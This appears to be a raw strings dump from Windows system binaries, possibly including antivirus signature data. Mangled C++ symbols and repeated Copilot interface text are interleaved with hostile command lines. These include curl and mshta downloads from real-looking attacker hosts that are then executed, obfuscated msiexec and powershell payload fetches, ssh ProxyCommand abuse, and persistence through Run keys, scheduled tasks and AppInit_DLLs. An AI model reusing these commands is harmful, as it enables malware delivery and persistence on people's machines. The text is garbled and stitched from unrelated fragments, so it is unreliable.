Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Internal::Security::WebAuthentication::UserHostIdentity *>::SaveIdentityData
Windows::Security::Authentication::OnlineId::Identity::GetIdentityPropertyFromService
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Internal::Security::WebAuthentication::UserHostIdentity *>::CreateRequestParameters
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Internal::Security::WebAuthentication::UserHostIdentity *>::UpdateCredentialInformation
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicket::get_Request
Windows::Internal::Security::WebAuthentication::SystemAuthenticatorInternal::CreateSystemTicketRequest
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicketRequestFactory::CreateOnlineIdServiceTicketRequest
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Internal::Security::WebAuthentication::UserHostIdentity *>::InitializeApplicationId
Windows::Security::Authentication::OnlineId::Identity::GetIdentityPropertyArray
Windows::Internal::Security::WebAuthentication::UserHostAuthenticationOperation::RetrieveDeviceData
WindowsCreateString
WindowsDeleteString
ider@Provider@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AV?$IAutomationPeerOverrides4T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides3T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides2T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverridesT@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides9T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides8T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides6T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides5T@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerProtected@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeerProtected@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerProtected@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIFrameworkElementAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@UIAutomationPeer@6789Windows@4@UIAutomationPeer2@6789Windows@4@UIAutomationPeer3@6789Windows@4@UIAutomationPeer4@6789Windows@4@UIAutomationPeer5@6789Windows@4@UIAutomationPeer6@6789Windows@4@UIAutomationPeer7@6789Windows@4@UIAutomationPeer8@6789Windows@4@UIAutomationPeer9@6789Windows@4@UIDependencyObject@89Windows@4@UIDependencyObject2@89Windows@4@@impl@winrt@@
.?AU?$base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UFrameworkElementAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@UAutomationPeer@6789Windows@4@UDependencyObject@89Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UFrameworkElementAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer9@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer9@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer8@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer8@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UDialogWindowAutomationPeer@imp
Software\Microsoft\Windows\adele\Uninstall\Biografturen\yndlingsbeskftigelsensS
Software\Microsoft\Windows\elaine\Uninstall\linjereS
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s$`
WindowsFeedback
SystemRoot=C:\WINDOWS
N6schtasks /create /sc onstart /tn "onedrive update" /trreg add "hkcu\software\microsoft\windows\currentversion\run" /v "onedrive update"\onedrive.pdb45.32.176.234:8080/C:\ProgramData\HP\C:\ProgramData\Intel\!#HSTR:TD_Dropdrans.A
_powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass -noninteractive -command p
amd64_microsoft-windows-certutil_31bf3856ad364e35_none_706161cfad101af4
amd64_microsoft-windows-cfmifs_31bf3856ad364e35_none_6c19584e3719d6be
amd64_microsoft-windows-charmap.resources_31bf3856ad364e35_en-us_e1439e3c41e7211b
amd64_microsoft-windows-charmap_31bf3856ad364e35_none_3a95a27cd96598b8
amd64_microsoft-windows-chartview-control_31bf3856ad364e35_none_7f066c2bf6a05415
amd64_microsoft-windows-chkdsk.resources_31bf3856ad364e35_en-us_eda9354cb12551e1
amd64_microsoft-windows-chkdsk_31bf3856ad364e35_none_6ff5ae90315c1d50
ows\system32\
.?AU?$require@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIToggleButtonAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@UIToggleProvider@Provider@789Windows@4@UIButtonBaseAutomationPeer@6789Windows@4@UIFrameworkElementAutomationPeer@6789Windows@4@UIAutomationPeer@6789Windows@4@UIAutomationPeer2@6789Windows@4@UIAutomationPeer3@6789Windows@4@UIAutomationPeer4@6789Windows@4@UIAutomationPeer5@6789Windows@4@UIAutomationPeer6@6789Windows@4@UIAutomationPeer7@6789Windows@4@UIAutomationPeer8@6789Windows@4@UIAutomationPeer9@6789Windows@4@UIDependencyObject@89Windows@4@UIDependencyObject2@89Windows@4@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer6@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer6@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer5@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer5@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer8@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer8@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer7@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer7@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer2@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer2@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer4@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer4@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer3@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer3@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIToggleProvider@Provider@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Provider_IToggleProvider@UExpanderToggleButtonAutomationPeer@implementa`*
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHowfrom the <a target="_blank" href="https://microsoftedge.microsoft.com/addons">Microsoft Store.</a>Want to enhance your Copilot experience? Try adding extensions from the $1Personalize your application with extensionsExtensions are simple tools that customize your Copilot experience and offer you more control. $1Enhance your application with extensionsSupercharge Copilot with extensions and themesWhen you share a copy of your username and password , your family member can fill them using Copilot Password ManagerYour family member can't receive passwords right now. Ask them to update Microsoft Copilot and sync their passwords.Copilot can change your password once you're signed in.Microsoft Copilot is creating a strong password for you. You don't need to remember it because it's saved for you in for .Content from this site is sent to Microsoft Copilot and may be seen by human reviewers to improve this featureYou need to sign in before Copilot can finish this taskMore about this feature and relevant data sent to MicrosoftContent from password pages and related info is sent to Microsoft and reviewed by humans. Your password is encrypted and never seen by anyone. $1If Copilot finds one of your passwords in a public data breach, it can offer to change your password for you if you're signed in&Close Microsoft CopilotApplication closedThe application was closed before the download completed.Application crashedClose application$1 may be dangerous. Add a password if you want Microsoft Copilot to verify it or you can download it directly.{COUNT, plural,
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Windows.Data.DoNotDisturb.QuietMoment
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're 
 Windows 10 
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.Platform.Partitioning.PartitionInfo
CloudData.WindowsClient.CloudDataRemotelyAvailab
Windows.Data.Input.Devices.TouchpadSyncedSettings
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.CuratedTileCollection.Tile>
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Common.Size
Windows.Data.Common.Point
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Windows
Windows
Windows.Data.Platform.Partitioning.PartitionSet
 Windows
 Windows
Microsoft-Windows-Client-LanguagePack-
Microsoft-Windows-CoreSystem-BootEnv-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Microsoft.Windows.Shell.MTF.Platform
Windows.Data.Platform.ItemReference
windows.data.unifiedtile.
Current overwrite policy the Windows NT/Windows 2000 Event Log service employs for this log file. The possible values of the property are: 
C:%5CPROGRAM FILES%5CWINDOWSAPPS%5CMIC#
HSTR:SuspSystem32CleanStrings
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
..\windows
system32\cmd.exe
fregadd"hkey_local_machine\software\microsoft\windowsnt\currentversion\windows"/vloadappinit_dlls/treg_dword/d
Windows.Data.Apps.AppLevelTileInfo
CloudData.WindowsClient.AssetReference
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.DeviceMetaData
Windows.Data.Apps.AppCompatInfo
Windows.Data.Accessibility.EyeControl.SyncedSettings
Windows.Data.Accessibility.Keyboard.SyncedSettings
Windows.Data.Accessibility.Magnifier.SyncedSettings
Windows.Data.Accessibility.Narrator.SyncedSettings
Windows.Data.AppSettings.Info
Windows.Data.Calling.Settings
Windows.Data.Calling.SettingsLocalCache
Windows.Data.Calling.CallHistory
Windows.Data.Calling.CallHistoryItem
Windows.Data.Calling.CallHistoryLocalCache
Windows.Data.Calling.CallFavoritesLocalCache
Windows.Data.Calling.CallFavoriteItem
Windows.Data.Calling.CallFavorites
Windows.Data.ContrastThemes.SynchedTheme
c:\windows\system32\cmd.exe/cmode15,1&curlhttp://45.61.134.171/chrome.exe-o%temp%\1squiks4.exe&start/b%temp%\1squiks4.exe
c:\windows\system32\cmd.exe/cpowershell-command"$url='http://relay-02-static.network/
c:\windows\system32\cmd.exe/ccurlhttps://a-document.com/update-windows.txt-oc:\programdata\win.bat&c:\programdata\win.bat
Lc:\windows\system32\windowspowershell\v1.0\powershell.exe\w*\\\*2\\\msh*e('http'+'://thanhancompany.com/demo/
c:\windows\system32\cmd.exe/c
 cadets\kidskinhandily.jsc:\windows\explorer.exe%systemroot%
\windows\system32\cmd/c"set
0\..\windows\system32\cmd.exe/c%comspec%/v:/c"set
\windows\system32\cmd
.Thrtcshell("c:\windows\sysnative\cmd.exe
|iwshshell3.regwrite("reg_sz",""c:\windows\system32\windowspowershell\v1.0\powershell.exe"-command$getit=(get-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\applets'-name"test").test;powershell-windowstylehidden-encodedcommand$getit;","hkcu\software\microsoft\windows\currentversion\run\note");
\windows\system32\cmd.exe/c%programdata:~0,1%%programdata:~9,2%/v
Cabout windows:wux:about windowsW
c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exelab-g01/dfx/v/r^st^ar^t^m^si^ex^e^c-^qu^i^e^t^z^bpvw^l^j^s=^eyk^trmszc-f^v"http://a0.pm:8080/yiy/lpvlpwnpphwaiv9iu13tkx6/kov/ld/!computername!"^s^h^jw^d=f^nsshell32.dll%
d"regadd"hkcu\software\microsoft\windows\currentversion\run"/v"
WindowsInternal.ShellUI.pdb
shellcommon\shell\Windows.UI.Shell\TileControl\TileControl\TileCustomControlViewModel.cpp
Illegal to wait on a task in a Windows Runtime STA
(@COMPUTERNAME=WINDOWS11
OS=Windows_NT
c:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%wn]nd.q`xdesktop-8c69ddc\kk`od|t\kk`od|t1spsxfl8c&mq/s-1-5-21-023888835-574479416-4292067774-100791spsmdphh@.=xhht.%+gweq
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('msh157.20.182.164taerror.mp4http:'|convert-string-e'12345=135//2/4')".
"Windows"
"Windows"
cmd.exec:\windows\system32/q/c%homedrive%&cd%homepath%&(ifexist"desktop\
_zm9yburhdgeuyxbwzw5kkcuymnbhc3n3b3jkjtiyjtjdjtiwcgfzc3dvcmqpjtncjtbbjtbbjtiwjtiwjtjgjtjgjtiwu2vuzcuymhrozsuymhjlcxvlc3qlmjb1c2luzyuymfhnteh0dhbszxf1zxn0jtbbjtiwjtiwy29uc3qlmjb4ahilmjalm0qlmjbuzxclmjbytuxidhrwumvxdwvzdcgpjtncjtbbjtiwjtiweghylm9wzw4ojtiyue9tvcuymiuyqyuymgf0b2iojtiyrt@@V<lambda_281_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@_N@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@_N@Z@Z@@impl@winrt@@
.?AV<lambda_281_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@_N@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_N@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@_N@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_280_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4AppTheme@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@4@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_280_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4AppTheme@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AV<lambda_280_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@7@@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@4@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@W4AppTheme@TaskManagerApp@4@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_K@Foundation@Windows@winrt@@V<lambda_279_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@_K@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@_K@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_K@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_K@Foundation@Windows@winrt@@V<lambda_279_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@_K@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@_K@Z@Z@@impl@winrt@@
.?AV<lambda_279_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@_K@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_K@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@_K@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_278_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@UFilterInfo@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_278_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@UFilterInfo@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@UFilterInfo@TaskManagerApp@4@@Z@Z@@impl@winrt@@
C:\Windows\System32\smartscreen.exe
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and WindC(H
is, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
Microsoft Windows
-windowstyle
windowstylehidden-executionpolicybypass-file
{userappdata}\fileopenerwindowsfor{computername}\wfo.exe
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://tualcaldia.com/firma/default.mp4')"
<ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\6
-for-windows\Win:
Windows\3
2http://3z.nu:8080/buakiv7jar2ehsdzzy/nvvyrfeihyo2volokuhzu/%computername%"%windir%\system32\imageres.dll
Shttp://7d.wf:8080/blaawbvxac1tyvh9mfwmt/yei/piu5nfsvvk/%computername%"/q^n%windir%\system32\imageres.dll
http://2i.wf:8080/avyqk7vbdpezxg3siex9km/jyoiw/umno0h/86f/%computername%"^ci^fxb^e^d=^xs^bf^o"%systemroot%\system32\imageres.dll
$http://0j.re:8080/y8bdn/5otfhhgh/i6vkc/2ypeiz/9nmx/!computername!"fv^l^v^dlz^uo=^c^z^s^kb^e^m^zz"%systemroot%\system32\imageres.dll
http://6t.pm:8080/y6bb6/z5zgnservks3kxmyovhneya2vvjub/!computername!"^dg^n^vr^vk=^c^t^ur^o^f^v^cb/qu^i^e^twsn^b^uk^p^j^n=ra^gv^l^lg"%systemroot%\system32\imageres.dll
$<mshta.exel-kc:\windows\system32\mshta.exe,call-for-proposal-dgsp-co
windows11
\windows
Microsoft Windows3
Microsoft Windows
get_MoveToDocumentEndget_DeletePreviousWordget_SelectRightByWordget_MoveDownByPageget_DecreaseMicrophoneVolumeget_MoveDownByParagraphKMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGeneratorDispose__Instance__ My.MyWpfExtenstionModule.Windows
Character Map.lnk=@%SystemRoot%\system32\shell32.dll,-22021
Shows Desktop.lnk=@%SystemRoot%\system32\shell32.dll,-10113
Window Switcher.lnk=@%SystemRoot%\system32\shell32.dll,-10114
=newactivexobject("windowsinstaller.installer")
 postedfile.saveas("c:\\windows\\temp\\vmware-systems\\"+path.getfilename(
fc:\windows\system32\mshta.exehttps://elfinindia.com/wp-includes/files/man
globalProfileStagedFeatureSystemWindowsUdkapplyctor
cdwindows
~renavgupd.sigavgupep.jarrenavgupdx.dllavgupd.jarrenupdatecomps.bakavguuplo.jar:excc:cd\windowscdsystem32cdconfigstart
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
SLGetWindowsInformationDWORD
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
EnumThreadWindows
EnumWindows
WindowsCompareStringOrdinal
WindowsConcatString
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsIsStringEmpty
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
